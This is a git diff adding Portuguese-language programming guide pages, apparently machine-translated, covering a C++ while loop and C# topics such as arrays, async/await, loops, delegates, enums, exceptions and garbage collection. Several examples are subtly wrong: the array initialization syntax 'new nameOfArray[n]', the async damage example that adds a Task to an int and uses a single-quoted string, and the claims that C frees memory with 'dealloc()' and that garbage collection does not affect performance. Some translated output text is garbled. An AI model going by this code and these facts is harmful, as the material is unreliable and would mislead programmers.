+Uma instrução while loop executa repetidamente uma instrução de destino, desde que uma determinada condição seja verdadeira.
+
+Sintaxe: while (condição) { afirmações); }
+
+Um ponto-chave do loop while é que o loop pode não ser executado. Quando a condição é testada e o resultado é falso, o corpo do loop será ignorado e a primeira instrução após o loop while será executada.
+
+Exemplo:
+
+```C++
+#include <iostream> 
+ using namespace std; 
+ 
+ int main () { 
+   // Local variable declaration: 
+   int a = 10; 
+ 
+   // while loop execution 
+   while( a < 20 ) { 
+      cout << "value of a: " << a << endl; 
+      a++; 
+   } 
+ 
+   return 0; 
+ } 
+```
+
+Saída:
+
+valor de: 10 valor de um: 11 valor de: 12 valor de: 13 valor de a: 14 valor de: 15 valor de um: 16 valor de: 17 valor de um: 18 valor de um: 19
+
+### Fontes
+
+www.tutorialspoint.com
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/array/index.md b/client/src/guide/portuguese/csharp/array/index.md
new file mode 100644
index 0000000000..1899f94c1b
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/array/index.md
@@ -0,0 +1,47 @@
+---
+title: Arrays
+localeTitle: Matrizes
+---
+# Matrizes
+
+Uma matriz é usada para armazenar uma coleção de dados do mesmo tipo. Isso pode ser usado como uma única variável que contém vários valores ou uma coleção de variáveis.
+
+# Regras de Matrizes
+
+Matrizes começam do zero. O primeiro elemento de uma matriz é 0, o segundo elemento é 1, o terceiro elemento 2 e assim por diante.
+
+Os arrays devem ser do mesmo tipo de dados. Você pode usar qualquer tipo de dados em uma matriz (por exemplo, int, double, float, string, enum)
+
+Um novo Array deve primeiro ser declarado e inicializado antes de poder ser chamado e acessado.
+
+# Declarando uma matriz
+
+Use o seguinte formato para declarar matrizes: `dataType [] nameOfArray;`
+
+# Inicializando uma matriz
+
+Use o seguinte formato para inicializar uma matriz. Esse método também declara a matriz e informa quantos valores devem ser armazenados na matriz.
+
+`dataType [] nameOfArray = new nameOfArray[numberOfElements];`
+
+# Atribuindo valores a um array
+
+Você pode atribuir um valor diretamente a um elemento usando o formato abaixo:
+
+`nameOfArray[2] = 50;`
+
+O vai atribuir o valor de 50 diretamente ao elemento \[2\]
+
+Você pode atribuir vários valores de uma vez ao declarar o array usando o formato abaixo:
+
+`dataType [] nameOfArray = {5,17,19,92};`
+
+A vontade atribuirá o valor de 5 no elemento \[0\], 17 no elemento \[1\], 19 no elemento \[2\] e 92 no elemento \[3\].
+
+Você pode declarar, iniciar e atribuir valores na matriz de uma só vez usando o formato abaixo:
+
+`dataType [] nameOfArray = new nameOfArray[numberOfElements] {value1,value2,value3,value4};`
+
+Você pode armazenar uma matriz diretamente em outra matriz usando o formato abaixo:
+
+`int [] nameOfArray = new nameOfArray[4] {2,9,56,1280};` `int [] nameOfSecondArray = nameOfArray;`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/async-await/index.md b/client/src/guide/portuguese/csharp/async-await/index.md
new file mode 100644
index 0000000000..e9bfd6b0be
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/async-await/index.md
@@ -0,0 +1,72 @@
+---
+title: Async / Await
+localeTitle: Async / Await
+---
+# Palavras-chave Async / Await
+
+As palavras-chave `async` / `await` em C # fornecem maneiras convenientes de gerenciar aplicativos que usam muitos recursos, mais comuns em linguagens front-end, como bibliotecas Javascript. Os métodos que retornam tipos `Task<T>` podem ser coroados com a palavra `async` chave `async` e, ao chamar esses métodos em um manipulador de UI ou fluxo de trabalho de serviço, podemos usar o método de `await` para informar ao C # para retornar o controle a seu chamador até que o trabalho de segundo plano está concluído. Ao gerar o controle de chamadas com uso intenso de recursos, podemos permitir que a interface do usuário seja mais responsiva e torne o serviço mais elástico.
+
+O núcleo do `async` e do `await` é a classe `Task<T>` . Ao usá-lo junto com a palavra `async` chave `async` como o tipo de retorno de um método, indicamos que o método prometeu retornar um objeto do tipo `T` (para métodos que não retornariam nenhum valor, use `Task` como o tipo de retorno) . `Task<T>` é um tópico sofisticado, para mais informações, consulte os documentos oficiais: [Classe de Tarefa](https://docs.microsoft.com/en-us/dotnet/api/system.threading.tasks.task?view=netframework-4.7.1) .
+
+Depois de encontrar métodos `async` , o trabalho será enfileirado em um conjunto de encadeamentos para execução, enquanto o chamador continuará sua execução sem aguardar os valores de retorno dos métodos `async` . No entanto, na maioria das ocasiões, nossa interface do usuário e serviço dependem dos valores retornados dos métodos `async` : por exemplo, quando consultamos um banco de dados local usando os métodos `async` , gostaríamos de saber quais são os resultados da consulta e agir sobre eles. sincronicamente. Este é o lugar onde o `await` serão utilizados palavra-chave: se estiver usando o `await` palavra-chave ao invocar um `async` método, o chamador irá pausar a execução até que um resultado é retornado do `async` método, e ao mesmo tempo dizer, o método pai vai continuar a execução sem esperar em o chamador para terminar. Com isso dito, qualquer método que use `await` keyword tem que ser uma função `async` - isso também é imposto pelo compilador C #, se estiver usando o Visual Studio para escrever seu código C #, o IDE avisará se um método violar o `async-await` contrato de `async-await` .
+
+Para saber mais sobre como usar o modelo de promessa para lidar com assincronia, confira esta página da Wikipédia: [Alcançando](https://en.wikipedia.org/wiki/Futures_and_promises) assincronia [através de promessas](https://en.wikipedia.org/wiki/Futures_and_promises)
+
+## Exemplos
+
+1.  Enviar formulário para o servidor
+
+```csharp
+private readonly string url = 'http://localhost:3000/api/submit'; 
+ private readonly HttpContent formContent = new HttypContent(); 
+ 
+ // Update the formContent object while filling up the form. 
+ 
+ SubmitButton.Clicked += async (object, event) => 
+ { 
+  // When PostAsync is hit, the button control will release the UI, while the 
+  //   http post method is still waiting on server response. 
+  HttpClient httpClient = new HttpClient(); 
+  var response = await httpClient.PostAsync(url, formContent); 
+  Console.WriteLine(response.StatusCode); 
+ } 
+```
+
+2.  Sincronizador "Latches"
+
+```csharp
+public async Task<int> CalcDamage(Player player) 
+ { 
+  // CPU-intense method, calculate afflicted damage done to the 
+  //   Boss based on the damage types, Boss stats (from static data), 
+  //   player stats, etc. 
+  // ... 
+ } 
+ 
+ public static async Task<int> CalcTotalDamage(IEnumerable<Player> group) 
+ { 
+  var totalDamage = 0; 
+  foreach (Player player in group) 
+  { 
+    // each of the async methods are queued in the thread-pool and move on. 
+    totalDamage += CalcDamage(player); 
+  } 
+ 
+  // total damage done must be calculated from all players in the group 
+  //   before we return the result. 
+  return await Task.WhenAll(totalDamage); 
+ } 
+```
+
+## Folha de dicas
+
+*   await: recupera o resultado de uma chamada assíncrona em segundo plano.
+*   aguarde Task.WhenAny: continue se alguma das tarefas na fila estiver concluída.
+*   await Task.WhenAll: continua se todas as tarefas na fila estiverem completas.
+*   aguarde Task.Delay: segure por um período de tempo adicional antes da execução.
+
+## Leitura aprofundada:
+
+*   [Programação assíncrona](https://docs.microsoft.com/en-us/dotnet/csharp/async)
+*   [Assíncrono em profundidade](https://docs.microsoft.com/en-us/dotnet/standard/async-in-depth)
+*   [3 dicas essenciais para asnyc](https://channel9.msdn.com/Series/Three-Essential-Tips-for-Async)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/break/index.md b/client/src/guide/portuguese/csharp/break/index.md
new file mode 100644
index 0000000000..114b9340ee
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/break/index.md
@@ -0,0 +1,67 @@
+---
+title: Break statement
+localeTitle: Declaração de quebra
+---
+# Declaração de quebra
+
+A instrução `break` termina o ciclo fechado ou a instrução switch na qual aparece. O controle é passado para a instrução que segue o loop ou o bloco de switches.
+
+No primeiro exemplo, quando o valor de i é 3, a instrução break é executada, o que faz com que a execução do loop seja finalizada.
+
+## Exemplo
+```
+int[] array = { 1, 2, 3, 4, 5 }; 
+ for (int i = 0; i < array.Length; i++) 
+ { 
+  if(i == 3) 
+  { 
+    break; 
+  } 
+    Console.WriteLine("Item on index {0} is {1}", i, array[i]); 
+ } 
+```
+
+## Saída:
+```
+> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 2 is 3 
+```
+
+No segundo exemplo, uma instrução de quebra é incluída no final de cada caso. Isso executa as declarações no caso sem continuar para o próximo caso. Sem a instrução break, o programa continuaria a executar o próximo caso e não funcionaria como pretendido.
+
+## Exemplo
+```
+switch (exampleVariable) 
+ { 
+    case 1: 
+        Console.WriteLine("case 1"); 
+        Console.WriteLine("This only shows in example 1"); 
+        break; 
+    case 2: 
+        Console.WriteLine("case 2"); 
+        Console.WriteLine("This only shows in example 2"); 
+    Console.WriteLine("This also only shows in example 2"); 
+        break; 
+    Console.WriteLine("This would not show anywhere, as it is after the break line and before the next case"); 
+    default: 
+        Console.WriteLine("default"); 
+        Console.WriteLine("This only shows in the Default Example"); 
+        break; 
+ } 
+```
+
+## Saída:
+```
+> case 1 
+ > This only shows in example 1 
+ > 
+ > case  2 
+ > This only shows in example 2 
+ > This also only shows in example 2 
+ > 
+ > default 
+ > This only shows in the Default Example 
+ > 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/class/index.md b/client/src/guide/portuguese/csharp/class/index.md
new file mode 100644
index 0000000000..5ff666e3bb
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/class/index.md
@@ -0,0 +1,75 @@
+---
+title: Class
+localeTitle: Classe
+---
+## Classe
+
+Uma classe em C # é definida como um tipo de referência. Para instilar uma variável com um tipo de referência, você deve especificar a `new` palavra-chave, senão a variável terá o valor padrão de `null` . Veja abaixo um exemplo.
+
+```csharp
+// The value of variableOne is null at this point. 
+ NewClass variableOne; 
+ 
+ // Now the value of variableOne will be an instance of the class NewClass 
+ variableOne = new NewClass(); 
+```
+
+No tempo de execução, quando a classe é criada, uma quantidade suficiente de memória é alocada no heap para aquela instância específica da classe que a variável contém.
+
+#### Criando Classes
+
+Para criar uma classe em C #, precisamos usar a palavra-chave `class` seguida por um identificador exclusivo.
+
+Como outras linguagens, o C # cria um construtor padrão que não aceita parâmetros. Também podemos especificar nosso próprio construtor se precisarmos de parâmetros especiais ou tivermos etapas de inicialização customizadas em nosso construtor.
+
+```csharp
+public class NewClass 
+ { 
+    NewClass(string name) 
+    { 
+        // Initialization steps... 
+    } 
+ } 
+```
+
+Uma classe é um protótipo ou blueprint do qual os objetos são criados. Em C #, a classe é definida usando a classe de palavra-chave. Uma classe é usada para combinar alguns métodos, propriedades, campos, eventos e representantes em uma única unidade. Uma classe pode conter classes aninhadas também.
+
+#### Exemplo: considere o caso da Classe do Empregado abaixo:
+
+```csharp
+using System; 
+ 
+ namespace CPrograms 
+ { 
+    class Employee 
+    { 
+        private string name; 
+        private int employeeId; 
+ 
+        public Employee(string name, int employeeId) 
+        { 
+            this.name = name; 
+            this.employeeId = employeeId; 
+        } 
+        public void PrintEmployee() 
+        { 
+            Console.WriteLine("Employee Name: {0} , Employee ID: {1}", this.name, this.employeeId); 
+        } 
+    } 
+ 
+    class Program 
+    { 
+        static void Main(string[] args) 
+        { 
+            Employee employeeObject = new Employee("John Doe", 420156); 
+            employeeObject.PrintEmployee(); 
+        } 
+    } 
+ } 
+```
+
+Uma classe pode herdar de uma única classe base. No entanto, ele pode implementar a partir de mais de uma interface.
+
+## Mais Informações
+
+Leia mais sobre as aulas [aqui](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/class)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/continue/index.md b/client/src/guide/portuguese/csharp/continue/index.md
new file mode 100644
index 0000000000..392fa12bde
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/continue/index.md
@@ -0,0 +1,31 @@
+---
+title: Continue statement
+localeTitle: Continuar declaração
+---
+# Continuar declaração
+
+A instrução `continue` passa o controle para a próxima iteração dentro de um loop.
+
+Neste exemplo, quando o valor de i é 2, a próxima instrução dentro do loop é ignorada.
+
+## Exemplo
+```
+int[] array = { 1, 2, 3, 4, 5 }; 
+ for (int i = 0; i < array.Length; i++) 
+ { 
+  if( i == 2) 
+  { 
+    continue; 
+  } 
+    Console.WriteLine("Item on index {0} is {1}", i, array[i]); 
+ } 
+```
+
+## Saída:
+```
+> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 3 is 4 
+ > Item on index 4 is 5 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/delegates/index.md b/client/src/guide/portuguese/csharp/delegates/index.md
new file mode 100644
index 0000000000..d9e677ae08
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/delegates/index.md
@@ -0,0 +1,55 @@
+---
+title: Delegates
+localeTitle: Delegados
+---
+## Delegados
+
+O delegado AC # representa uma referência a um método que possui um determinado conjunto de parâmetros e um determinado tipo de retorno. Ao instanciar o delegado, você pode associá-lo a qualquer método que seja compatível com o tipo delegado: tem a mesma quantidade de parâmetros, cada um é do mesmo tipo e o tipo do valor de retorno também é o mesmo.
+
+Você pode usar um método de instância ou um método estático ao atribuí-lo a um delegado.
+
+Delegado permite que você passe métodos como parâmetros para outros métodos.
+
+Delegados são freqüentemente usados ​​para implementar funções de retorno de chamada. O exemplo mais típico são os manipuladores de eventos: você se registra um método que deve ser chamado sempre que um determinado evento acontece (o botão do mouse é clicado, por exemplo).
+
+### Breve explicação para desenvolvedores
+
+Delegados são como ponteiros de função em linguagens do tipo C, como C ou C ++. No entanto, eles são do tipo seguro. Ao contrário de ponteiros de função simples eles contém informações sobre a instância do objeto cujo método será chamado ao chamar o delegado e ter verificações de tipo estrito para os argumentos e valor de retorno da função.
+
+## Exemplo
+
+Você declara um delegado semelhante a como você declara uma função, mas adiciona a palavra-chave `delegate` . Por exemplo:
+
+```csharp
+    public delegate string StringOperation ( string s1, string s2 ); 
+```
+
+Qualquer método que aceita dois argumentos de `string` e retorna `string` pode ser atribuído a uma variável desse tipo de delegado.
+
+Depois de ter criado o tipo de delegado, você pode usá-lo como qualquer outro tipo. Você pode declarar uma variável local, outros membros da classe ou passá-los como parâmetros para outros métodos.
+
+```csharp
+    StringOperation a; 
+```
+
+Antes de invocar o delegado, você precisará atribuir um valor a ele. Vamos supor que temos um método de concatenação que tem a seguinte implementação:
+
+```csharp
+    private string Concatenate ( string one, string two ) { 
+        return one + " " + two; 
+    } 
+```
+
+Você pode então atribuir isto à variável delegada e invocá-la como uma função.
+
+```csharp
+    StringOperation op = Concatenate; 
+ 
+    string result = op("Hello", "World"); 
+ 
+    Console.WriteLine ( result ); // print "Hello World" to the console 
+```
+
+## Mais Informações
+
+Leia mais sobre os delegados [aqui](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/do-while-loop/index.md b/client/src/guide/portuguese/csharp/do-while-loop/index.md
new file mode 100644
index 0000000000..322218abe1
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/do-while-loop/index.md
@@ -0,0 +1,40 @@
+---
+title: Do while loop
+localeTitle: Fazer loop while
+---
+# Do while loop
+
+O `do while` ciclo executa um bloco de código de uma vez até que uma condição é falsa. Eles são um caso particular de [loops `while`](https://guide.freecodecamp.org/csharp/while-loop) : eles executam um bloco de código uma vez e depois até que a condição seja falsa. Um uso comum de loops `do while` é a verificação de entrada.
+
+## Exemplo
+```
+do 
+ { 
+    //execute code block 
+ 
+ 
+ } while(boolean expression); 
+ 
+ 
+ string input = ""; 
+ do 
+ { 
+    Console.WriteLine("Type A to continue: "); 
+    input = Console.ReadLine(); 
+ } while(input != "A"); 
+ 
+ Console.WriteLine("Bye!"); 
+```
+
+## Saída:
+```
+> Type A to continue: b 
+ > Type A to continue: g 
+ > Type A to continue: A 
+ > Bye! 
+```
+
+#### Mais Informações:
+
+*   [Microsoft C # - fazer](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/do)
+*   [Dot Net Perls - do](https://www.dotnetperls.com/do)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/enumerations/index.md b/client/src/guide/portuguese/csharp/enumerations/index.md
new file mode 100644
index 0000000000..5c8ebc7599
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/enumerations/index.md
@@ -0,0 +1,48 @@
+---
+title: Enumerations
+localeTitle: Enumerações
+---
+# Enumerações
+
+Uma enumeração é um conjunto de constantes inteiras nomeadas que são declaradas usando a palavra-chave `enum` .
+
+## Exemplo
+```
+enum Gender 
+ { 
+  Male, 
+  Female 
+ } 
+```
+
+Por padrão, os valores inteiros começam em 0 e aumentam em 1, para cada nome de enumeração, por exemplo, Masculino = 0, Feminino = 1, etc.
+
+Estes podem ser substituídos, especificando um valor inteiro para qualquer um dos nomes de enumeração.
+
+## Exemplo
+```
+enum Gender 
+ { 
+  Male = 1, 
+  Female 
+ } 
+```
+
+Neste caso, os valores inteiros começam em 1 e aumentam a partir daí.
+
+Para usar um enum, você pode declarar uma variável do seu tipo e atribuir um valor a ela:
+
+`Gender myVar = Gender.Male;`
+
+Você também pode converter um valor de nome de enumeração para seu valor inteiro subjacente e vice-versa:
+```
+Console.WriteLine($"Male: {(int)Gender.Male}"); 
+ Console.WriteLine($"Female: {(int)Gender.Female}"); 
+```
+
+## Saída:
+```
+Male: 1 
+ Female: 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/exceptions/index.md b/client/src/guide/portuguese/csharp/exceptions/index.md
new file mode 100644
index 0000000000..e6d97d98b6
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/exceptions/index.md
@@ -0,0 +1,66 @@
+---
+title: Exceptions
+localeTitle: Exceções
+---
+# Exceções
+
+Uma exceção é um erro inesperado que ocorre enquanto um programa está em execução, como uma tentativa de acessar um arquivo que não existe. Parará o programa se não for manipulado.
+
+## Exemplo
+
+Se tentarmos ler o texto de um arquivo que não existe:
+```
+using System.IO; 
+ 
+ string content = File.ReadAllText(@"C:\DoesNotExist.txt"); 
+```
+
+Um `FileNotFoundException` será gerado.
+
+Algumas outras exceções comuns:
+
+*   `IndexOutofRangeException` : tentativa de acessar uma matriz com um índice inválido.
+*   `NullReferenceException` : tentativa de usar uma variável de referência não atribuída.
+*   `DivideByZeroException` : tentativa de dividir por 0.
+
+## Melhores práticas
+
+### Use try / catch / finally Blocos
+```
+try 
+ { 
+   var client = new WebClient(); 
+   var resultData = client.DownloadString("http://github.com"); 
+ } 
+ catch (Exception ex) 
+ { 
+   //code for handling exceptions 
+ } 
+ finally 
+ { 
+   //this code is always executed, does not matter if an exception is thrown or not 
+ } 
+```
+
+### Lidar com possíveis exceções com condições
+
+Ao invés de
+```
+try 
+ { 
+   conn.Close(); 
+ } 
+ catch (Exception ex) 
+ { 
+   //code for handling exceptions. 
+ } 
+```
+
+Tente isso
+```
+if (conn.State != ConnectionState.Closed) 
+ { 
+    conn.Close(); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/expression-bodied-members/index.md b/client/src/guide/portuguese/csharp/expression-bodied-members/index.md
new file mode 100644
index 0000000000..ab6285ef07
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/expression-bodied-members/index.md
@@ -0,0 +1,41 @@
+---
+title: Expression Bodied Methods and Properties
+localeTitle: Métodos e propriedades corporais da expressão
+---
+# Métodos e propriedades corporais da expressão
+
+Você pode declarar métodos e propriedades como uma expressão lambda, sem a necessidade de um bloco de instruções. Destinado a implementações simples, essa sintaxe é mais concisa do que declarar um método ou propriedade regular, pois elimina a necessidade de algumas das chaves e o uso de uma instrução de retorno explícita.
+
+Aqui está um exemplo de uma declaração de método regular:
+
+```csharp
+public Point CreatePoint(int x, int y) 
+ { 
+    return new Point(x, y); 
+ } 
+```
+
+O seguinte dá o mesmo resultado, mas é escrito como um método de expressão corporal:
+
+```csharp
+public Point CreatePoint(int x, int y) => new Point(x, y); 
+```
+
+Você também pode declarar propriedades com esta sintaxe. O código a seguir é como declaramos uma propriedade get-only sem uma expressão lambda:
+
+```csharp
+public Point Location 
+ { 
+    get 
+    { 
+        return _location; 
+    } 
+ } 
+```
+
+Através de um método expression-bodied, podemos reduzir este código para apenas uma linha:
+
+```csharp
+public Point Location => _location 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/extension-methods/index.md b/client/src/guide/portuguese/csharp/extension-methods/index.md
new file mode 100644
index 0000000000..6368f84853
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/extension-methods/index.md
@@ -0,0 +1,45 @@
+---
+title: Extension Mehods
+localeTitle: Mehods de extensão
+---
+## Métodos de Extensão
+
+Os métodos de extensão permitem "adicionar" métodos a tipos existentes sem criar um novo tipo derivado, recompilar ou modificar o tipo original. Para o código do cliente escrito em C #, não há diferença aparente entre chamar um método de extensão e os métodos realmente definidos em um tipo.
+
+Os métodos de extensão mais comuns são os operadores de consulta padrão do LINQ que adicionam a funcionalidade de consulta aos System.Collections.IEnumerable e System.Collections.Generic.IEnumerable existentes. tipos.
+
+### Uso
+
+Os métodos de extensão são definidos como métodos estáticos, mas são chamados usando a sintaxe do método da instância. O primeiro parâmetro especifica em qual tipo o método opera, e o parâmetro é precedido pelo modificador this. Os métodos de extensão estão apenas no escopo quando você importa explicitamente o namespace em seu código-fonte com uma diretiva **using** .
+
+### Exemplo
+
+O exemplo a seguir mostra um método de extensão definido para a classe **System.String** .
+```
+namespace ExtensionMethods 
+ { 
+    public static class MyExtensions 
+    { 
+        public static int WordCount(this String str) 
+        { 
+            return str.Split(new char[] { ' ', '.', '?' }, 
+                             StringSplitOptions.RemoveEmptyEntries).Length; 
+        } 
+    } 
+ } 
+```
+
+Agora você pode trazer o método **WordCount** para o escopo **usando a** diretiva:
+```
+using ExtensionMethods; 
+```
+
+E você pode chamá-lo de um aplicativo usando esta sintaxe:
+```
+string s = "Hello Extension Methods"; 
+ int i = s.WordCount(); 
+```
+
+#### Mais Informações:
+
+[Como: implementar e chamar um método de extensão personalizado (guia de programação C #)](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/classes-and-structs/how-to-implement-and-call-a-custom-extension-method)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/for-loop/index.md b/client/src/guide/portuguese/csharp/for-loop/index.md
new file mode 100644
index 0000000000..bc28fbb87f
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/for-loop/index.md
@@ -0,0 +1,134 @@
+---
+title: For Loop
+localeTitle: Para loop
+---
# Para loop
+
+O loop for executa um bloco de código repetidamente até que uma expressão condicional especificada seja avaliada como falsa.
+
+Anatomia do loop for:
+```
+for (initialization; condition; iterator) 
+ { 
+    body 
+ } 
+```
+
+*   initialization - A instrução de inicialização define a condição inicial e é executada apenas uma vez antes de você entrar no corpo do loop.
+*   condição - Expressão booleana que determina se o corpo do loop deve ser executado novamente ou se o loop deve sair.
+*   iterator - Executa após cada iteração do corpo do loop.
+
+### Exemplo 1
+```
+for (int i = 0; i < 5; i++) 
+ { 
+    Console.WriteLine("Number " + i); 
+ } 
+```
+
+### Saída:
+```
+> Number 0 
+ > Number 1 
+ > Number 2 
+ > Number 3 
+ > Number 4 
+```
+
+### Exemplo 2
+```
+int j = 0; 
+ for (int i = 0; j < 5; i++) 
+ { 
+    Console.WriteLine("Numbers {0} {1}", i, j); 
+    j++; 
+ } 
+```
+
+### Saída:
+```
+> Numbers 0 0 
+ > Numbers 1 1 
+ > Numbers 2 2 
+ > Numbers 3 3 
+ > Numbers 4 4 
+```
+
+### Exemplo 3 - Simplificação do Exemplo 2
+```
+for (int i = 0, j = 0; i < 5 && j < 5; i++, j++) 
+ { 
+    Console.WriteLine("Numbers {0} {1}", i, j); 
+ } 
+```
+
+### Saída:
+```
+> Numbers 0 0 
+ > Numbers 1 1 
+ > Numbers 2 2 
+ > Numbers 3 3 
+ > Numbers 4 4 
+```
+
+### Exemplo 4
+```
+for (int i = 5; i > 0; i--) 
+ { 
+    Console.WriteLine("Number " + i); 
+ } 
+```
+
+### Saída:
+```
+> Number 5 
+ > Number 4 
+ > Number 3 
+ > Number 2 
+ > Number 1 
+```
+
+### Exemplo 5
+```
+// Infinite loop - The loop body is executed infinitely 
+ for (; ;) 
+ { 
+    Console.WriteLine("The universe is infinite"); 
+ } 
+ 
+ // Anything after infinite loop is reported as "Unreachable code detected" in Visual Studio 
+ Console.WriteLine("Never considered for execution"); 
+```
+
+### Saída:
+```
+> The universe is infinite 
+ > The universe is infinite 
+ > The universe is infinite 
+ > .... 
+ > .... 
+```
+
+### Exemplo 6
+```
+int i = 0; 
+ for (; i < 5;) 
+ { 
+    Console.WriteLine("Number " + i); 
+    i++; 
+ } 
+```
+
+### Saída:
+```
+> Number 0 
+ > Number 1 
+ > Number 2 
+ > Number 3 
+ > Number 4 
+```
+
+### Outros recursos
+
+*   [Documentação da Microsoft](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/for)
+
+## Fim
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/for/index.md b/client/src/guide/portuguese/csharp/for/index.md
new file mode 100644
index 0000000000..09f4032a4d
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/for/index.md
@@ -0,0 +1,47 @@
+---
+title: For Loop
+localeTitle: Para loop
+---
+# Para loop
+
+O loop `for` executa um bloco de código até que uma condição especificada seja falsa. Embora um `for` circuito parece um [`while` ciclo](https://guide.freecodecamp.org/csharp/while-loop) , os desenvolvedores devem usá-los **corretamente.** Use `while` laços quando o número de iterações são variáveis, de outro modo utilizar `for` lacetes. Um uso comum de loops `for` são iterações de array. 1
+
+## Sintaxe
+
+```C#
+for ((Initial variable); (condition); (step)) 
+    { 
+    (code) 
+    } 
+```
+
+O loop C # for consiste em três expressões e algum código.
+
+## Descrição
+
+*   _Variável inicial_ : seu estado inicial, por exemplo, int i = 0;
+*   _Condição_ : Enquanto esta condição for verdadeira, o código continuará a ser executado, por exemplo, i <= 5;
+*   _Etapa_ : O incremento ou decremento da variável inicial, por exemplo, i ++ ou i- = 2.
+
+## Exemplo
+
+```C#
+int[] array = { 1, 2, 3, 4, 5 }; 
+ for (int i = 0; i < array.Length; i++) 
+ { 
+    Console.WriteLine("Item on index {0} is {1}", i, array[i]); 
+ } 
+```
+
+## Saída:
+```
+> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 2 is 3 
+ > Item on index 3 is 4 
+ > Item on index 4 is 5 
+```
+
+### Fontes
+
+1 https://docs.microsoft.com/pt-br/dotnet/csharp/language-reference/keywords/for
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/foreach/index.md b/client/src/guide/portuguese/csharp/foreach/index.md
new file mode 100644
index 0000000000..ade38daf3c
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/foreach/index.md
@@ -0,0 +1,32 @@
+---
+title: Foreach Loop
+localeTitle: Foreach Loop
+---
+## Foreach Loop
+
+O loop `foreach` executa um bloco de código para cada item em uma coleção. O benefício do loop `foreach` é que você não precisa saber quantos itens estão dentro da coleção para iterar por ele; você simplesmente diz ao seu loop `foreach` para percorrer a coleção, contanto que haja itens dentro dela. É útil para percorrer listas, matrizes, tabelas de dados, IEnumerables e outras estruturas de dados semelhantes a listas. Pode ser menos eficiente do que um muito bem desenhado `for` loop, mas a diferença é insignificante na maioria dos casos.
+
+### Exemplo
+
+```csharp
+foreach (element in iterable-item) 
+ { 
+    // body of foreach loop 
+ } 
+ 
+ List<string> Names = new List<string>{ "Jim", "Jane", "Jack" } 
+ 
+ foreach(string name in Names) 
+ { 
+    Console.WriteLine("We have " + name); 
+ } 
+```
+
+### Saída:
+
+```sh
+> We have Jim 
+ > We have Jane 
+ > We have Jack 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/garbage-collection/index.md b/client/src/guide/portuguese/csharp/garbage-collection/index.md
new file mode 100644
index 0000000000..dacc741ebf
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/garbage-collection/index.md
@@ -0,0 +1,35 @@
+---
+title: Garbage Collection
+localeTitle: Coleta de lixo
+---
+## Coleta de lixo
+
+#### O que é a coleta de lixo?
+
+Coleta de lixo é um processo no qual os programas tentam liberar espaço de memória que não é mais usado por objetos e tal. A coleta de lixo é implementada de maneira diferente para todos os idiomas. A maioria das linguagens de programação de alto nível tem algum tipo de coleta de lixo embutida. Linguagens de programação de baixo nível podem adicionar a coleta de lixo por meio de bibliotecas.
+
+Como dito acima, toda linguagem de programação tem seu próprio jeito de GC. Na programação C, os desenvolvedores precisam cuidar da alocação e desalocação de memória usando as funções `malloc()` e `dealloc()` . Para aplicativos C #, os desenvolvedores não precisam mais cuidar do GC e também não é recomendado, porque o .NET framework já trata disso.
+
+\#### Como a alocação de memória acontece? Em C #, a alocação de memória de objetos acontece no heap gerenciado e isso é feito pelo CLR (Common Language Runtime). A alocação de memória para o heap é feita através do win32.dll no Sistema operacional (SO), como em C. Mas em C, os objetos são colocados na memória onde o espaço livre se adapta ao tamanho do objeto. E o mapeamento de memória funciona com base nos conceitos de Linkedlist. Em C #, a alocação de memória para o heap ocorre de maneira linear, isto é, um após o outro.
+
+Sempre que um novo objeto é criado, uma memória é alocada no heap e o ponteiro se move para o próximo endereço de memória. A alocação de memória em C # é mais rápida que a C. Em C, a memória precisa pesquisar e alocar para o objeto, o que adiciona um pouco de tempo adicional.
+
+\#### Gerações no C # GC Na programação do .net, o heap tem três gerações chamadas Geração 0, 1, 2.
+
+A geração 0 é preenchida primeiro sempre que um novo objeto é criado. Garbage collector executado quando a Geração 0 é preenchida. objetos recém-criados são colocados na Geração 0. Ao executar a coleta de lixo, todos os objetos indesejados são destruídos, a memória é liberada e compactada. O GC cuida de apontar os ponteiros da memória liberada quando o GC acontecer.
+
+Gerações 1 e 2 tem objeto que tem o tempo de vida mais longo. O GC nas gerações 1 e 2 não acontecerá até que as gerações 0 tenham memória suficiente para alocar.
+
+Não é aconselhável invocar o GC programaticamente. É bom deixar isso acontecer por conta própria. O GC é executado sempre que a geração 0 é preenchida. O GC não afeta o desempenho do aplicativo.
+
